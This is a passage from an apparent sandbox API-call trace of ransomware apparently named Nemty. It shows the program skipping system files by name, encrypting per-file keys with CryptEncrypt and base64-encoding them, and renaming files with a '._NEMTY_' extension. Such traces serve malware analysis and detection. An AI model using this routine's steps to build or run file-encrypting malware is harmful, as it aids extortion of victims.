lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.334] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.334] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.343] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.343] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.343] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.343] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.352] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.352] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.352] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.352] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.361] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.361] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.361] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.361] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.367] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.367] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.367] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.367] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.373] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.373] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.373] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.373] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400d0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.373] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0154.373] CloseHandle (hObject=0xffffffff) returned 0 [0154.373] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0154.373] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0154.373] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0154.373] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0154.373] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0154.373] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0154.373] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0154.373] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0154.374] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0154.374] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0154.374] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\22.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\22.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\22.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\22.png._nemty_kgobjgd_")) returned 0 [0154.374] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0154.374] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0154.374] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0154.374] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0154.374] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0154.374] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0154.374] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0154.374] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0154.374] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86965d02, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86965d02, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ab4fa51, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x15c5, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="23.png", cAlternateFileName="")) returned 1 [0154.374] lstrcmpiW (lpString1="23.png", lpString2=".") returned 1 [0154.374] lstrcmpiW (lpString1="23.png", lpString2="..") returned 1 [0154.374] lstrcmpiW (lpString1="23.png", lpString2="...") returned 1 [0154.374] lstrcmpiW (lpString1="23.png", lpString2="windows") returned -1 [0154.374] lstrcmpiW (lpString1="23.png", lpString2="$RECYCLE.BIN") returned 1 [0154.374] lstrcmpiW (lpString1="23.png", lpString2="rsa") returned -1 [0154.374] lstrcmpiW (lpString1="23.png", lpString2="NTDETECT.COM") returned -1 [0154.374] lstrcmpiW (lpString1="23.png", lpString2="ntldr") returned -1 [0154.374] lstrcmpiW (lpString1="23.png", lpString2="MSDOS.SYS") returned -1 [0154.374] lstrcmpiW (lpString1="23.png", lpString2="IO.SYS") returned -1 [0154.374] lstrcmpiW (lpString1="23.png", lpString2="boot.ini") returned -1 [0154.374] lstrcmpiW (lpString1="23.png", lpString2="boot.ini") returned -1 [0154.374] lstrcmpiW (lpString1="23.png", lpString2="AUTOEXEC.BAT") returned -1 [0154.374] lstrcmpiW (lpString1="23.png", lpString2="ntuser.dat") returned -1 [0154.374] lstrcmpiW (lpString1="23.png", lpString2="desktop.ini") returned -1 [0154.374] lstrcmpiW (lpString1="23.png", lpString2="CONFIG.SYS") returned -1 [0154.374] lstrcmpiW (lpString1="23.png", lpString2="RECYCLER") returned -1 [0154.374] lstrcmpiW (lpString1="23.png", lpString2="BOOTSECT.BAK") returned -1 [0154.374] lstrcmpiW (lpString1="23.png", lpString2="bootmgr") returned -1 [0154.374] lstrcmpiW (lpString1="23.png", lpString2="programdata") returned -1 [0154.374] lstrcmpiW (lpString1="23.png", lpString2="appdata") returned -1 [0154.375] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="23.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0154.375] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="23.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="23.png", lpUsedDefaultChar=0x0) returned 6 [0154.375] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="23.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0154.375] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="23.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="23.png", lpUsedDefaultChar=0x0) returned 6 [0154.375] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="23.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0154.375] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="23.png", cchWideChar=6, lpMultiByteStr=0x653ec20, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="23.png", lpUsedDefaultChar=0x0) returned 6 [0154.375] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="23.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0154.375] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="23.png", cchWideChar=6, lpMultiByteStr=0x653ec58, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="23.png", lpUsedDefaultChar=0x0) returned 6 [0154.375] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0154.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0154.375] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0154.375] Sleep (dwMilliseconds=0x5) [0154.375] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfa96bb0, dwHighDateTime=0x1d561e8)) [0154.375] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfa96bb0, dwHighDateTime=0x1d561e8)) [0154.375] GetLastError () returned 0x5 [0154.375] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0154.375] GetLastError () returned 0x5 [0154.375] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0154.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0154.375] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0154.376] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0154.376] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0154.376] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0154.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400d0 [0154.376] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400d0, pcchString=0x653e91c | out: pszString="sWKKqaD+lO1acFk/vMUA/Oz/wY/DvMkaHf6HI2bH5Kk7kkRzaDpjRj0fCVXLNS52\r\nEezYtcKdr/Yy5WOIhPzEOT5jPrZwpfuI9cJPKlaPloZhmslJWugFKFeBGxv63bkD\r\nR5K0xyK5aqnJ2t4tGhQcACgrgKR/Aw914879NLlj+vwvyfNUdOhMAaehD1u0jGD/\r\nsifZJwHPpuCpF3TLx2kMVtcIQhEfori+hHNJHic2FI2QzgOXNrRO3VJRsC5Da5rr\r\nTaWOMvzwQwhMRL9lA0ZCAcT5xJ22DkwUR64iS+2Yp1FOiSXFO6aerzrouOURJFO5\r\nSBkBLpfpb+oPQN9IY4O1Yw==\r\n", pcchString=0x653e91c) returned 1 [0154.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0154.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0154.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0154.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0154.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400d0 [0154.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0154.376] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\23.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\23.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0154.377] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0154.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0154.377] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.377] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.386] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.386] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.386] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.386] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.396] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.396] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.396] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.396] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.406] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.406] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.406] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.406] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.415] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.415] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.415] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.415] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.424] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.424] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.424] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.424] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.433] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.433] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.433] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.434] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.443] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.443] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.443] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.443] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.452] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.452] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.452] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.452] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.462] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.462] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.462] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.462] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.471] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.471] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.471] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.472] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.477] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.477] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.477] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.477] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.483] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.483] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.483] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.483] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400d0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, 